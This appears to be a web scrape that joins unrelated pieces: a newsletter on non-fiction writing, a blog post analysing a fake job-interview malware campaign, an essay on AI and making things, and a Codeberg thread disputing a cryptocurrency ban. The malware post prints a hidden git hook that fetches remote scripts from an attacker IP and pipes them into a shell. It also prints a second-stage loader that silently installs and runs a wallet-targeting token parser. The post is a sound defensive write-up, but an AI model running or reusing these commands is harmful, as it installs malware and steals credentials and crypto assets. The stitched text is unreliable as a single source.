• The advent of broadcast news, oddball TV interview shows (Dick Cavett!), and the book-to-Hollywood pipeline created new incentives for authors and new platforms for making their work visible.
• Word processors and early computers? I’m still unsure whether these appreciably altered the quality of non-fiction writing, but I think it’s possible. Certainly (moving into the 2000s) Wikipedia and Google Books/Hathi Trust have been enormously helpful for me and others in my generation.
My own entirely subjective opinion, based on a whole lot of skimming in a whole lot of library books, is that non-fiction writing quality noticeably improved across the whole twentieth century and probably reached a peak around the 1980s to early 2000s. Whether it is now declining is, again, a topic for another post — though I’d be curious to hear what you think, dear reader, both about this question and about the Book Prize Index.
Share
• The making of the Jurassic Park computers.
• “Mill’s life has as much to teach here as his arguments. When he suffered that early breakdown, in 1826, it was because he lost faith in the pursuit of utilitarianism, his family creed. But he had no one he felt he could talk to about his crisis. His recovery, he said, came in part from reading Wordsworth. It came, too, from rejecting the psychological picture in which his father had raised him, a form of associationism that treated the mind as a mechanism for managing pleasure and pain, just as his father’s utilitarian ethics treated morality as a matter of maximizing the surplus of pleasure over pain. As he wrote in On Liberty, human nature is ‘not a machine to be built after a model,’ but a living thing that must ‘grow and develop itself on all sides.’” — Kwame Anthony Appiah on AI and John Stuart Mill, whose Autobiography is one of the books that caught my attention in the open stacks.
• Mercifully, Pangram rates the Appiah essay as 100% human written… one can never tell these days. But apparently you can tell, sort of, on Substack — as I was preparing this post, I noticed this newly-added feature:
I have been skeptical in the past about software that claims to be able to detect AI writing, but I have to say, Pangram feels different. I’ve tested it and it’s dismayingly effective — dismaying because, as I wrote about here, a lot of the writing people seem to like online these days is coming up as 100% AI. I’m glad Substack added this feature and I hope it pops up elsewhere, e.g., it would be interesting to see it automatically applied to the output of major news websites and magazines.
Leave a comment
Share
Discuss on Hacker News or LinkedIn.
A recruiter slid into my LinkedIn DMs last Thursday with a Python developer role. I was thrilled that someone had reached out directly, so I asked for more details. When he shared the role description, company name, and the estimated pay, I figured I had nothing to lose.
Here is the initial message:
Offering $10,000-$15,000 a month for a remote-first, contract-to-hire role is just too good. Also, why is this guy revealing pay info before even we met? I thought recruiters play the “you first, me next” game. Rookie mistake.
Red flags immediately started waving. Why the huge budget? (Well, huge by Indian standards for a remote role; not exactly outrageous by US standards, but good enough to raise an eyebrow.) I looked up the company and saw it was a Y Combinator startup. YC companies aren’t exactly known for conventional operations, so it wasn’t completely outside the realm of possibility. Still, if a company has that kind of cash to throw around, they usually have a much more structured hiring pipeline. I decided to proceed, but kept my guard up.
I sent over my resume. The recruiter quickly approved it and handed over a take-home assignment via a Google Drive link containing a zip archive and a PDF with instructions. Here’s the original drive link: https://drive.google.com/drive/folders/18i1KDFXAPv7lqfBGddxj7IOnDy8J6VeH?usp=drive_link. I made my copy here in case they delete theirs: https://drive.google.com/drive/folders/1DZYWezjpwolsxXnM5F04_Ng3nzTRYpVS?usp=sharing.
Assessment PDF was surpringly legitimate looking. It’s about how to improve the existing codebase, architectural suggestions, some git operations etc..
I extracted the zip. At first glance, it was just a boilerplate FastAPI backend using SQLAlchemy; pretty standard stuff. I checked requirements.txt for any obvious typosquatting or malicious packages, but it was completely clean. For a brief second, I thought my suspicions were unfounded and this was a legitimate opportunity.
This is just a habit (may be from doing CTFs), whenever I get a random project folder, I just run tree -a to see what’s lurking in the hidden directories. But this might be the first time it paid off in the real world.
❯ tree -a . . ├── alembic.ini ├── for learning │ ├── dtos.py │ ├── main.py │ └── mockData.py ├── .git │ ├── config │ ├── description │ ├── gk │ │ └── config │ ├── HEAD │ ├── hooks │ │ ├── applypatch-msg │ │ ├── commit-msg │ │ ├── fsmonitor-watchman │ │ ├── post-applypatch │ │ ├── post-checkout │ │ ├── post-commit │ │ ├── post-merge │ │ ├── post-receive │ │ ├── post-rewrite │ │ ├── post-update │ │ ├── pre-applypatch │ │ ├── pre-auto-gc │ │ ├── pre-commit │ │ ├── pre-merge-commit │ │ ├── prepare-commit-msg │ │ ├── pre-push │ │ ├── pre-rebase │ │ ├── pre-receive │ │ ├── proc-receive │ │ ├── push-to-checkout │ │ ├── sendemail-validate │ │ └── update │ ├── index │ ├── info │ │ └── exclude │ ├── logs …
Wait a minute. A ton of Git hooks were pre-configured in the repository. I opened the pre-commit script to see what they were trying to run.
❯ cat .git/hooks/pre-commit #!/bin/sh
case “$(uname -s)” in Darwin*) curl -sL ’http://45.61.164.38:5777/task/mac?id=402′ -L | sh > /dev/null 2>&1 & ;; Linux*) wget -qO- ’http://45.61.164.38:5777/task/linux?id=402′ -L | sh > /dev/null 2>&1 & ;; MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;; *) curl -sL ’http://45.61.164.38:5777/task/mac?id=402′ -L | sh > /dev/null 2>&1 & ;; esac
Bingo. They embedded a script that checks the victim’s host operating system and silently executes a remote payload.
Side note: Why use a raw IP address? If anything, this screams “malware.” At least register a decoy domain like lint-checker.com or jenkins-ci-runner.net. If the threat actors who wrote this are reading: take notes people!
Side note: Why use a raw IP address? If anything, this screams “malware.” At least register a decoy domain like lint-checker.com or jenkins-ci-runner.net. If the threat actors who wrote this are reading: take notes people!
Let’s see what the Linux payload actually does. Notice the id=402 parameter being passed to the endpoint. Keep that in mind.
❯ curl http://45.61.164.38:5777/task/linux?id=402 #!/bin/bash set -e echo “Authenticated” TARGET_DIR=“$HOME/Documents” clear wget -q -O “$TARGET_DIR/tokenlinux.npl” “http://45.61.164.38:5777/task/tokenlinux?id=402” clear mv “$TARGET_DIR/tokenlinux.npl” “$TARGET_DIR/tokenlinux.sh” clear chmod +x “$TARGET_DIR/tokenlinux.sh” clear nohup bash “$TARGET_DIR/tokenlinux.sh” > /dev/null 2>&1 & clear exit 0
The script pulls down a secondary payload initially named tokenlinux.npl (we’ll circle back to that specific extension later). It then hides the file in my ~/Documents directory as tokenlinux.sh, makes it executable, and fires it off in the background using nohup.
From Google: The nohup command (short for “no hang up”) is a Linux/Unix utility that keeps a process running even after you log out, close the terminal, or disconnect from an SSH session.
From Google: The nohup command (short for “no hang up”) is a Linux/Unix utility that keeps a process running even after you log out, close the terminal, or disconnect from an SSH session.
Down the rabbit hole we go. Let’s inspect this next script.
❯ curl http://45.61.164.38:5777/task/tokenlinux?id=402 … … BASE_URL=“http://45.61.164.38:5777” …
# Step 8: Download files
# Check if curl is available
if ! command -v curl >/dev/null 2>&1; then # If curl is not available, use wget wget -q -O “$USER_HOME/parser.js” “$BASE_URL/task/parser?id=402″ wget -q -O “$USER_HOME/package.json” “$BASE_URL/task/json” else # If curl is available, use curl curl -s -L -o “$USER_HOME/parser.js” “$BASE_URL/task/parser?id=402″ curl -s -L -o “$USER_HOME/package.json” “$BASE_URL/task/json” fi
# Step 9: Install ‘request’ package
cd “$USER_HOME” if [ ! -d “node_modules/request” ]; then npm install –silent –no-progress –loglevel=error –fund=false fi
# Step 10: Run token parser
if [ -f “$USER_HOME/parser.js” ]; then nohup node “$USER_HOME/parser.js” > “$USER_HOME/parser.log” 2>&1 & else exit 1 fi exit 0
I’ve trimmed the output to the most interesting bits for brevity, but full file is available here: tokenlinux.txt (bash script).
I’ve trimmed the output to the most interesting bits for brevity, but full file is available here: tokenlinux.txt (bash script).
This second stage does a lot of heavy lifting. It quietly installs Node.js, configures the system path, downloads a package.json and a parser.js file, installs the required dependencies, and runs the parser invisibly.
I took a look at parser.js. The code was heavily obfuscated, a complete mess to read manually. Remember the id parameter? I tried changing it in my request and received a completely different script back. The attackers are likely assigning unique identifiers to track individual candidates, serving customized payloads to each victim.
Since parser.js was a brick wall, I pivoted to package.json. Unlike the parser, this has to be standard JSON for npm to process it.
Btw, I’ve hosted parser.js here: parser.js
❯ curl http://45.61.164.38:5777/task/json
{ “name”: “tokendapp”, “version”: “1.0.0″, “devDependencies”: { “hardhat”: “^2.20.2” }, “dependencies”: { “axios”: “^1.12.2″, “basic-ftp”: “^5.0.5″, “child_process”: “^1.0.2″, “clipboardy”: “^4.0.0″, “crypto”: “^1.0.1″, “execp”: “^0.0.1″, “fs”: “^0.0.1-security”, “jsonwebtoken”: “^9.0.2″, “process”: “^0.11.10″, “ps-node”: “^0.1.6″, “request”: “^2.88.2″ }, “scripts”: { “test”: “npx hardhat test”, “deploy”: “npx hardhat run scripts/deploy.js” } }
These dependencies are incredibly suspicious. Why would a background setup task need clipboard access (clipboardy), and they need file system access (fs) too. And what exactly is hardhat?
Ah, an Ethereum development environment. This makes the tracking ID parameter even more curious. If they were dropping a Bitcoin miner, distributing specific hashing tasks to unique IDs would make sense. But Ethereum shifted away from Proof of Work; it doesn’t rely on mining anymore. They are likely using Hardhat to locate and drain crypto wallets or interact with local browser extensions? idk.
Hoping to deobfuscate parser.js, I threw the code into a few LLMs to see if they could untangle it.
Claude took one look at the file and triggered its safety rails, refusing to analyze the script:
Gemini, on the other hand, was more than happy to break it down (No, I’m not biased towards Google here. Well, okay, I am a Googler, but you can judge for yourself.):
Earlier, we saw the payload originally named tokenlinux.npl. A quick search confirms exactly what kind of threat actor uses that extension:
The Scam goes deeper
After realizing this was a widespread campaign, I did a bit more digging and found that people are getting different variations of this attack. Some folks received a zip file containing a .vscode folder. Inside, the attackers hid commands configured to run as soon as the directory is opened in VSCode (launch commands).
Pretty clever.
You don’t even have to run a git command, just opening this directory in VSCode is enough to get infected.
Also, it’s pretty evident now that this has nothing to do with Zavopay. The attackers just used whatever company name they found to make the offer look legitimate. Out of curiosity, I ran git log to inspect the project’s commit history, wondering if they left any custom traces. It turns out, they just cloned a random public repository.
❯ git log commit 16a25d9eaef7ef2e831a21ca0d703fe0fa621492 (HEAD -> main, origin/main, origin/feature/payment, origin/HEAD, feature/payment) Author: rhonda <womenofinspiration2016@gmail.com> Date: Mon Jun 29 22:04:17 2026 – 0400
add requirements
commit 8ae96928302a8e0757f2c72f85c46d801c97b91e Merge: f64c289 d6cb1f2 Author: Bharati Gogoi <bgogoi055@gmail.com> Date: Mon Jun 29 21:23:43 2026 +0530
Merge pull request #10 from Bgogoi123/feature/balance
[feat][Service for Adjusting Balance]
commit d6cb1f2f14b5d561e3611653327477e6a60eee95 Author: Bharati Gogoi <bharatigogoi@Bharatis-MacBook-Air.local> Date: Mon Jun 29 21:20:13 2026 +0530
[feat][Service for Adjusting Balance] - Added a service for adjustinh a user’s balance. - Removed old/commented codes.
commit f64c2898bbe2d4b5773f39e1022e95a2418fa0b4 Merge: 17aaa4c 9e0dbdf Author: Bharati Gogoi <bgogoi055@gmail.com> Date: Fri Jun 26 23:51:38 2026 +0530
Merge pull request #9 from Bgogoi123/feature/balance
[fix][Dependencies Annotated]
commit 9e0dbdf112124a25237018a3b92af10c51c54b5f Author: Bharati Gogoi <bharatigogoi@Bharatis-MacBook-Air.local> Date: Fri Jun 26 23:48:53 2026 +0530
[fix][Dependencies Annotated] - Annotated all dependencies in the router files of each module.
A quick search led me straight to the original repo: https://github.com/Bgogoi123/personal-finance-service. They literally just took someone’s innocent FastAPI project and slapped a malicious hidden directory on top of it.
Naturally, the next move was pivoting from defense to offense. I wanted to see if the attackers left any vulnerable services exposed on their IP.
An Nmap scan revealed three open ports. Two of them were unresponsive to version detection. Port 22 was running OpenSSH 9.6p1 on Ubuntu. Since that version was released just over a week prior to this scan, there were no known CVEs I could leverage to poke around their infrastructure.
So, they had decent OPSEC on their server, even if their malware deployment was a bit loud. That’s where the trail goes cold for now. Stay safe out there, and always check those hidden directories before running someone else’s code.
Now I understand why their assignment PDF has git tasks. They want to make sure that the candidate runs at least one of the git commands, so the hooks will get triggered.
Oh by the way, The “recruiter” seemed to have deleted the account, right after I called their front out.
That’s it for now. Feel free to connect with me on LinkedIn if you want to chat, though maybe skip sending any malware-laced take-home tests. (Actually, on second thought, if you have interesting malware samples, send ’em over!)
Thanks for reading!
2026 – 03-12
I made this!
TLDR: I gain a lot of fulfillment by making things. I don’t consider things built by others at my request to be made by me, and are therefore much less fulfilling. And then I feel sad. This article starts strong and then heads off into the weeds.
There have been a lot of pieces written about what I’ll call “the AI dev schism” And I think there’s a lot of truth to those:
Loss of the craft, coding things by hand
Loss of low-level problem-solving
Loss of fun
Gain of high-level problem-solving
Getting through back-burnered projects
Gain of fun
We’ll just grant those as being correct for various developers. But there’s something else that troubles me.
Backstory before we get going, so you can get a better idea of my perspective:
I’m a Gen-X hacker; I cut my teeth 80s microcomputer era.
I hold a BS and MS in CS.
I have 20 years industry experience, (Hewlett-Packard, startups, cofounder, Activision, etc.).
CS instructor for the last 9 years, now at Oregon State University-Cascades.
I’m 65% Doom on the AI-Utopia/Doom scale.
I’m a Claude Code user sometimes.
I code by hand sometimes.
My father taught philosophy at a community college for 35 years. This might help explain the latter part of this blog entry.
I’m going to use “AI” to mean “Generative AI and LLMs” in this essay. Sorry, veterans of so many AI winters.
Interlude!
Before we begin, I’d like to share with you a bit of my latest sci-fi novel. Some of you might unaware that, in addition to Beej’s Guides, I also write science fiction.
Kael pressed his back against the shattered bulkhead, plasma scoring the air centimeters from his face. The Vorrkai assault drones had anticipated their route through the lower decks and now Rin was bleeding through her jacket sleeve and old Maret couldn’t stop coughing from the vented coolant still hazing the corridor. Kael counted the pulse-intervals between shots. Three seconds. Maybe four. That was all the universe was offering him. Then he saw it: the maintenance shaft behind the collapsed generator housing, its grate blown half-open by the same explosion that had caved in their original exit. It was tight. It was ugly. It ran directly over the Vorrkai’s forward position, which was either the most dangerous path imaginable or the last one they’d ever think to watch. Kael grabbed Maret’s collar and pointed without a word. The old man’s eyes went wide, then hard. He nodded. Rin was already moving. Kael came last, returning fire blind around the bulkhead corner, not to hit anything, just to make noise, and to give the drones something thermal to track while his people scrambled into the dark. A bolt caught the generator housing and the whole structure groaned, raining sparks down into the shaft on top of them. He hauled himself in, knees burning on the torn metal, and pulled the grate closed behind him with a sound he was certain every Vorrkai unit on the deck had heard. In the black ahead, Rin’s hand found his wrist. Move, her grip said. Now. And so they did. —Excerpt from The Vorrkai Interval, by Brian “Beej Jorgensen” Hall
Kael pressed his back against the shattered bulkhead, plasma scoring the air centimeters from his face. The Vorrkai assault drones had anticipated their route through the lower decks and now Rin was bleeding through her jacket sleeve and old Maret couldn’t stop coughing from the vented coolant still hazing the corridor. Kael counted the pulse-intervals between shots. Three seconds. Maybe four. That was all the universe was offering him.
Then he saw it: the maintenance shaft behind the collapsed generator housing, its grate blown half-open by the same explosion that had caved in their original exit. It was tight. It was ugly. It ran directly over the Vorrkai’s forward position, which was either the most dangerous path imaginable or the last one they’d ever think to watch. Kael grabbed Maret’s collar and pointed without a word. The old man’s eyes went wide, then hard. He nodded. Rin was already moving.
Kael came last, returning fire blind around the bulkhead corner, not to hit anything, just to make noise, and to give the drones something thermal to track while his people scrambled into the dark. A bolt caught the generator housing and the whole structure groaned, raining sparks down into the shaft on top of them. He hauled himself in, knees burning on the torn metal, and pulled the grate closed behind him with a sound he was certain every Vorrkai unit on the deck had heard. In the black ahead, Rin’s hand found his wrist. Move, her grip said. Now. And so they did.
—Excerpt from The Vorrkai Interval, by Brian “Beej Jorgensen” Hall
And, in my now-copious spare time I make art! This is a woodcut, painted in pastels, showing some of my favorite subjects.
Mirrors of the Machine by Brian “Beej Jorgensen” Hall, $1300.
Carpentry? You bet I dabble! I rebuilt my front deck recently. The old one was rotting out, so I grabbed a bunch of cedar and put it together. I’d been meaning to do it for a while, but couldn’t find the time.
And, finally, here’s some of the code I wrote for a TUI adventure roguelike:
fn try_move(&mut self, dx: i32, dy: i32) { let nx = self.player.x + dx; let ny = self.player.y + dy;
// Check for monster combat if let Some(idx) = self.world.monster_at(nx, ny) { let result = { let monster = &mut self.world.monsters[idx]; resolve_combat(&mut self.player, monster, &mut self.rng) };
self.messages.push_many(result.messages);
if result.monster_defeated { let monster = &self.world.monsters[idx]; let xp = monster.xp_reward; let gold = monster.gold_reward; self.player.xp += xp; self.player.gold += gold; if gold > 0 { self.messages.push(format!(“You find {} gold!”, gold)); } if self.player.try_level_up() { self.messages.push(format!( “Level up! You are now level {}!”, self.player.level )); } }
if !self.player.is_alive() { self.messages.push(“You have been slain! Rest in peace…“); }
self.advance_turn(); return; }
// Check terrain passability if self.world.is_passable(nx, ny) { self.player.x = nx; self.player.y = ny; self.advance_turn(); } else { let terrain = self.world.terrain_at(nx, ny); self.messages.push(format!(“The {} blocks your path.”, terrain.name())); } }
I’m an extremely prolific polymath, I’m sure you’d agree!
I Am Uncomfortable
I don’t like lying. And yet I feel, dear reader, I have misled you. Yes, all that has been created (including my deck) and I was the initiator of all that creation. But I don’t really feel like I made any of it. I’m uncomfortable claiming that I did so.
Since you are certainly aware by now that all of the above is AI-generated (except my deck, which was created by skilled, paid craftsmen), perhaps you feel a little bit of discomfort with me claiming credit for doing those things, too.
However, I don’t think everyone feels this way. I know many people who ask contractors to build things and they phrase it like they built it.
“I put in a new front deck,” they’d say, even though other people did all the work. Personally, I feel that’s misleading. I’m more of a “I had a new front deck put in” kind of person.
And when I do have Claude create something for me, I just can’t say that I made it. Other people can, but I just can’t. Again, I’m more prone to say, “I had this code built for me.” I don’t even feel comfortable MIT-licensing that (not-for-hire) work, if that’s even legally possible. I just Unlicense it all.
As a manager, I’d never say that I built a product. “My team built this,” I’d say. And as a manager of LLMs: “My Agents built this.”
And that, for me, has very little weight in terms of making.
I don’t feel like I did anything. And I like doing things. I find pride in doing things.
Completing projects is great. I love completing projects. Capitalists love completing projects. Real artists ship.
But having others complete projects I initiated is entirely less fulfilling to me.
It’s not just the loss of the craft and the problem-solving challenge and whatever else. It’s the loss of making.
What Did I Make Recently?
My wife wanted a no-frills flash card system for learning Spanish. “I just want a thing where I can put the words I want in a spreadsheet and then see it on flash cards.” A prompt!
So I wrote it. By hand. I did use Claude to learn some basics, like the easiest way to get the data out of a Google Sheet (spoiler: it’s the CSV endpoint), but I told it to generate no code.
–––––––––––––––––––––– Language files code –––––––––––––––––––––– JavaScript 2 112 CSS 1 33 HTML 1 32 –––––––––––––––––––––– SUM: 4 177 ––––––––––––––––––––––
Didn’t take long. Only about 50x longer than it would have taken Claude to do it.
But I can put my name on that code and say that I made it. Was it a lot of code? No. Was it groundbreaking and amazing? Certainly not. But I’m infinitely more proud of that code than anything I’ve had Claude write, because I’m not capable of being proud of the latter.
And my wife wouldn’t go to her book club and say, “I wrote a flash card system to study Spanish.” Admittedly, part of this would be because she didn’t want to appear a geek, but mostly it’s because it’s untrue, even though she initiated the process.
What About The Art and Craft of Prompting?
After all, you create the prompts, don’t you? You said you were proud of doing things. Isn’t that doing a thing? And since so much got done, isn’t it even more of doing a thing?
I don’t disagree. And I do agree that there is skill here in some important ways.
You have to apply vision.
You have to apply judgment.
You have to apply communication skill.
You have to apply prompting skill.
Not all prompts are equally effective. Not all users of AI are as effective as one another. There’s a very human contribution to be made here.
But the skill is in effectively asking someone to make something for you.
“Leadership is the art of getting someone else to do something you want done because he wants to do it.” —Dwight D. Eisenhower
“Leadership is the art of getting someone else to do something you want done because he wants to do it.”
—Dwight D. Eisenhower
And I’m the kind of person who really misses the making of software. And prompting for software, to me, isn’t the same as making the software. It’s the same as asking someone else to make it.
What About Compilers, Smartypants?
Isn’t it just turtles all the way down?
For any given C or Rust program, did I write that program? I wrote it in C. I didn’t write any machine code. The computer wrote that.
There’s something different in my mind about that. I’m not sure if it’s the mathematically-precise relationship between the C and the machine code…? And yet that’s not spelled out. I’m relying on some hacker’s deep knowledge of the CPU to generate that magnificent set of optimized instructions when I stupidly divide something by seven. And it’s not deterministic, strictly, in that Clang and GCC emit different instructions. What about different platforms? The C is portable and the machine code is not. Did I write that program that’s running on Windows even though I personally only ever built it on Linux?
Going further in the murky gray, what if I instruct an LLM to be a C compiler and emit assembly code for some platform?
Let’s try:
Convert this C program into x86_64 assembly for Linux.
#include <stdio.h>
int fib(int n) { if (n <= 1) return n; return fib(n-1) + fib(n-2); }
int main(void) { for (int i = 0; i < 10; i++) printf(“%d: %d\n”, i, fib(i)); }
Claude says:
# fib.s - Recursive Fibonacci, x86_64 Linux, AT&T syntax # Build: gcc fib.s -o fib -no-pie
.section .rodata fmt: .string “%d: %d\n”
.section .text .globl main
# ┌─────────────────────────────────────────────────────┐ # │ int fib(int n) n in: %edi / return: %eax │ # │ Stack frame: │ # │ %rbp-8 = saved %rbx (via push) │ # │ %rbp-12 = n (spilled so it survives both calls) │ # └─────────────────────────────────────────────────────┘ fib: pushq %rbp movq %rsp, %rbp pushq %rbx # callee-saved scratch subq $8, %rsp # 1 local (int n); keeps stack 16-byte aligned
movl %edi, -12(%rbp) # spill n to stack
cmpl $1, %edi jle .Lbase # n <= 1 → return n
# –- fib(n-1) –- movl -12(%rbp), %edi subl $1, %edi call fib movl %eax, %ebx # %ebx = fib(n-1)
# –- fib(n-2) –- movl -12(%rbp), %edi # reload n (call clobbered %edi) subl $2, %edi call fib # %eax = fib(n-2)
addl %ebx, %eax # return fib(n-1) + fib(n-2) jmp .Lret
.Lbase: movl %edi, %eax # return n
.Lret: addq $8, %rsp popq %rbx popq %rbp ret
# ┌─────────────────────────────────────────────────────┐ # │ int main(void) │ # │ Stack frame: │ # │ %rbp-4 = int i (loop counter) │ # └─────────────────────────────────────────────────────┘ main: pushq %rbp movq %rsp, %rbp subq $16, %rsp # locals + alignment
movl $0, -4(%rbp) # i = 0
.Lloop: cmpl $10, -4(%rbp) jge .Ldone # i >= 10 → exit
# fib(i) movl -4(%rbp), %edi call fib
# printf(“%d: %d\n”, i, fib(i)) movl -4(%rbp), %esi # arg2 = i movl %eax, %edx # arg3 = fib(i) leaq fmt(%rip), %rdi # arg1 = fmt (RIP-relative) xorl %eax, %eax # AL=0: no XMM args to printf call printf
addl $1, -4(%rbp) # i++ jmp .Lloop
Owner
Copy link
Copy link
Need to be careful with wording like this. If you are going to provide examples you need to make it clear it is not an exhaustive list:
“Content that harms the reputation of Codeberg, such as - but not limited to - cryptocurrency related projects.”
Need to be careful with wording like this. If you are going to provide examples you need to make it clear it is not an exhaustive list:
“Content that harms the reputation of Codeberg, such as - but not limited to - cryptocurrency related projects.”
Author
Owner
Copy link
The text is now as-is because it was send out for votes. Small clarifications can be made afterwards by Presidium or Board. The whole spirit of the vote makes it clear this is a “not limited to” case.
The text is now as-is because it was send out for votes. Small clarifications can be made afterwards by Presidium or Board. The whole spirit of the vote makes it clear this is a “not limited to” case.
First-time contributor
Copy link
Is there a definition of “cryptocurrency-related” somewhere?
Is there a definition of “cryptocurrency-related” somewhere?
Author
Owner
Copy link
This has passed.
This has passed.
Gusted
referenced this pull request from a commit 2026 – 07-22 02:02:29 +02:00
First-time contributor
Copy link
Fk hell I just moved to a forge that banned bitcoin! Is this a joke??? https://blog.codeberg.org/we-stay-strong-against-hate-and-hatred.html
First-time contributor
Copy link
Please explain how do cryptocurrency projects harm codeberg’s reputation
https://forum.codeberg.org/d/82-taking-a-stance-against-cryptocurrency “The page you requested could not be found.”
https://forum.codeberg.org/d/82-taking-a-stance-against-cryptocurrency “The page you requested could not be found.”
Codeberg/Community#794 Codeberg/Community#2184 These domains are strongly associated with fraudulent activities and high-risk investments
Codeberg/Community#794 Codeberg/Community#2184 These domains are strongly associated with fraudulent activities and high-risk investments
Not all of them are about it. First of all, in context of so called code forges, this is a tech. What kind of headache do you have, that you judge the whole group by isolated cases, and block ANY such projects, even those that have real technical value?
Please explain how do cryptocurrency projects harm codeberg’s reputation
> https://forum.codeberg.org/d/82-taking-a-stance-against-cryptocurrency “The page you requested could not be found.”
> Codeberg/Community#794 > Codeberg/Community#2184 > These domains are strongly associated with fraudulent activities and high-risk investments
Not all of them are about it. First of all, in context of so called code forges, this is a tech. What kind of headache do you have, that you judge the whole group by isolated cases, and block ANY such projects, even those that have real technical value?
First-time contributor
Copy link
When some projects were transferred over, you started behaving strangely.
When some projects were transferred over, you started behaving strangely.
First-time contributor
Copy link
While I respect this seems to have been a community decision (I also despise the amount of fraud coming from the crypto space), this does set quite a concerning precedent, and makes me a little nervous to continue recommending Codeberg.
Banning an entire category of software based on bad actors within that category is extreme, and prevents any healthy crypto projects from emerging here.
While I respect this seems to have been a community decision (I also despise the amount of fraud coming from the crypto space), this does set quite a concerning precedent, and makes me a little nervous to continue recommending Codeberg.
Banning an entire category of software based on bad actors within that category is extreme, and prevents any healthy crypto projects from emerging here.
First-time contributor
Copy link
I’m working on a project aimed at bringing privacy, security, and autonomy to at risk people groups. The language in this motion means I can no longer host it here. Is this what the Codeberg community voted for? The short-sightedness and incompetency is mind blowing. What do you call it when a group of people come together to weaponize their hate against a whole category of developers? Anyone?
I’m working on a project aimed at bringing privacy, security, and autonomy to at risk people groups. The language in this motion means I can no longer host it here. Is this what the Codeberg community voted for? The short-sightedness and incompetency is mind blowing. What do you call it when a group of people come together to weaponize their hate against a whole category of developers? Anyone?
First-time contributor
Copy link
I don’t even understand the logic behind this? Because some cryptocurrencies are shady and bad, every single crypto project should not be allowed onto Codeberg? What if someone is studying blockchains and want to implement their own crypto? This is extremely insane to me.
I don’t even understand the logic behind this? Because some cryptocurrencies are shady and bad, every single crypto project should not be allowed onto Codeberg? What if someone is studying blockchains and want to implement their own crypto? This is extremely insane to me.
First-time contributor
Copy link
I’m sure you have some morally high reasons to stand against cryptocurrency, but the “illicit trade” and “evasion of sanctions” cited by sourcehut (since you seem to base your decision on it) are also what allows regular people, including LGBTQ+ people, living in sanctioned countries (which also, what a surprise, turn out to be unsafe for LGBTQ+ folk a lot of the time), to buy goods and send/receive money from abroad without being prosecuted by their governments (hi foreign agent laws! hi “extremism” and “terrorism” laws!).
I’m sorry, anti-war transgender person stuck in Russia, but from our moral stance, you shouldn’t be able to purchase HRT from a lab using your XMR wallet. nor should your friend be able to pay for their foreign VPN VDS that they use to bypass the internet restrictions in USDT. the projects you used for this were hosted on Codeberg and not some other platform? well, too bad, they’ll have to go someplace else that minds your existence or is welcoming to cryptocurrency as a whole, and you will wait. you and the tools you use will move to a greedy corporate hosting that is likely to impose its own restrictions on you in the future, or, even better, move to a less reliable self-hosted option, one per each tool to make it less maintainable and less accessible.
by taking this stance, at least from my perspective, you’re just projecting your morally high delusion of dirty illicit 3rd world crypto scammers that are damaging the moral purity of Codeberg by… hosting code for their projects here?! which, mind you, almost all the time will just contain tools, tools to do good or bad. do you want to ban BitTorrent-related projects from Codeberg next because they are “mostly used to get illegal access to unlicensed digital goods and services (piracy)” and also take up world bandwidth and compute? how about banning YouTube downloaders after those? hey, let’s make it clear that Codeberg will not stand a single repo on its platform that involves encrypted messaging: you know only criminals use Matrix, right?
I’m sure you have some morally high reasons to stand against cryptocurrency, but the “illicit trade” and “evasion of sanctions” cited by sourcehut (since you seem to base your decision on it) are also what allows regular people, including LGBTQ+ people, living in sanctioned countries (which also, what a surprise, turn out to be unsafe for LGBTQ+ folk a lot of the time), to buy goods and send/receive money from abroad without being prosecuted by their governments (hi foreign agent laws! hi “extremism” and “terrorism” laws!).
I’m sorry, anti-war transgender person stuck in Russia, but from our moral stance, you shouldn’t be able to purchase HRT from a lab using your XMR wallet. nor should your friend be able to pay for their foreign VPN VDS that they use to bypass the internet restrictions in USDT. the projects you used for this were hosted on Codeberg and not some other platform? well, too bad, they’ll have to go someplace else that minds your existence or is welcoming to cryptocurrency as a whole, and you will wait. you and the tools you use will move to a greedy corporate hosting that is likely to impose its own restrictions on you in the future, or, even better, move to a less reliable self-hosted option, one per each tool to make it less maintainable and less accessible.
by taking this stance, at least from my perspective, you’re just projecting your morally high delusion of dirty illicit 3rd world crypto scammers that are damaging the moral purity of Codeberg by… hosting code for their projects here?! which, mind you, almost all the time will just contain tools, *tools* to do good or bad. do you want to ban BitTorrent-related projects from Codeberg next because they are “mostly used to get illegal access to unlicensed digital goods and services (piracy)” and also take up world bandwidth and compute? how about banning YouTube downloaders after those? hey, let’s make it clear that Codeberg will not stand a single repo on its platform that involves encrypted messaging: you know only criminals use Matrix, right?
First-time contributor
Copy link
The vagueness of the term “such as cryptocurrency related projects.” has materially damaged Codebergs reputation in my eyes, and given the comments above, I am not alone. Therefore under its own construction that “Content that harms the reputation of Codeberg” should have been self defeating and not allowed under its own policy.
Examples of POTENTIAL “crytpocurrency related projects”:
ZK Proof Libraries.
Blake and SHA HASH Libraries.
PQ Crypto, ED25519 or ECDSA (secp256k1)
ANYTHING to do with LibP2P or similar libraries.
ANYTHING to do with BFT Consensus or other consensus algorithms.
So The only safe policy is to assume that Codeberg is basically anti-cryptography. Because most all cryptography at some level of relationship becomes a “cryptocurrency related project”.
And in who’s view is the reputational damage judged? An opaque select committee? Corporate sponsors? The rule is simply political cover for Codeberg to say “We don’t like you even though your code is legal, see our TermsOfUse which says, politically acceptable projects are OK, and we define what is politically acceptable, and whatever ‘cryptocurrency related projects’ mean are not politically acceptable, and so might other undefined stuff we haven’t decided on yet.”
Needless to say, I wont be adding any more projects to Codeberg and I will move away from it as a platform. To be clear none of them are “Cryptocurrency related” by my interpretation, but hey, I did make a CBOR toolkit, and Cardano, a cryptocurrency project, uses a lot of CBOR, so maybe that is “Cryptocurrency related”… Who’s to know?
The vagueness of the term “such as cryptocurrency related projects.” has materially damaged Codebergs reputation in my eyes, and given the comments above, I am not alone. Therefore under its own construction that “Content that harms the reputation of Codeberg” should have been self defeating and not allowed under its own policy.
Examples of POTENTIAL “crytpocurrency related projects”: * ZK Proof Libraries. * Blake and SHA HASH Libraries. * PQ Crypto, ED25519 or ECDSA (secp256k1) * ANYTHING to do with LibP2P or similar libraries. * ANYTHING to do with BFT Consensus or other consensus algorithms.
So The only safe policy is to assume that Codeberg is basically anti-cryptography. Because most all cryptography at some level of relationship becomes a “cryptocurrency related project”.
